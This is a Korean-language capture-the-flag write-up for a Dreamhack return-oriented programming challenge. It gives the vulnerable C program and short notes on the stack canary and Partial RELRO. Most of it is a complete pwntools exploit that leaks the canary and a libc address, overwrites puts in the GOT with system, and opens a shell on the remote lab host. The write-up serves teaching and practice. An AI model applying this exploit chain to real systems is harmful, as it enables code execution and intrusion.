// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
이번 문제는 Return to Library 와 달리 system 함수가 실행되지 않는다.
RELRO 가 Partial RELRO 이므로 GOT Overwrite 가 가능하다.
카나리를 우회하기 위해서 다음과 같은 정보가 필요하다.
카나리가 rbp-0x8 에 저장되는 것을 확인할 수 있다.
buf 는 read 함수의 두 번째 인자로 사용되고 있다.
read 함수가 호출되기 직전에 rsi 레지스터에 어떤 값이 들어가는지 확인해보자
rsi 레지스터에는 rbp-0x40 이 들어간다.
위에서 수집한 정보를 가지고 유추한 스택 구조는 다음과 같다.
from pwn import *
def slog(name, addr): success(": ".join([name, hex(addr)]))
#p = process("./rop")
p = remote("host3.dreamhack.games", 22948)
e = ELF("rop")
lib = ELF("./libc-2.27.so")
r = ROP("./rop")
payload = b""
payload += b"A"*57
p.recvuntil(b"Buf: ")
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
slog("canary", canary)
read_plt = e.plt["read"]
read_got = e.got["read"]
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
pop_rdi_ret = r.find_gadget(["pop rdi"])[0]
pop_rsi_pret = r.find_gadget(["pop rsi"])[0]
payload = b""
payload += b"A"*56
payload += p64(canary)
payload += b"A"*8
# puts(puts_got)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
# read(0, puts_got, X)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_pret)
payload += p64(puts_got)
payload += p64(0)
payload += p64(read_plt)
# system("/bin/sh")
payload += p64(pop_rdi_ret)
payload += p64(puts_got+8)
payload += p64(puts_plt)
p.recvuntil(b"Buf: ")
p.send(payload)
puts_lib = u64(p.recvn(6) + b"\x00"*2)
slog("read_lib", puts_lib)
lib_base = puts_lib - lib.symbols["puts"]
slog("lib_base", lib_base)
system_lib = lib_base + lib.symbols["system"]
slog("system_lib", system_lib)
payload = b""
payload += p64(system_lib) + b"/bin/sh\n"
p.send(payload)
p.interactive()
flag 를 획득했다.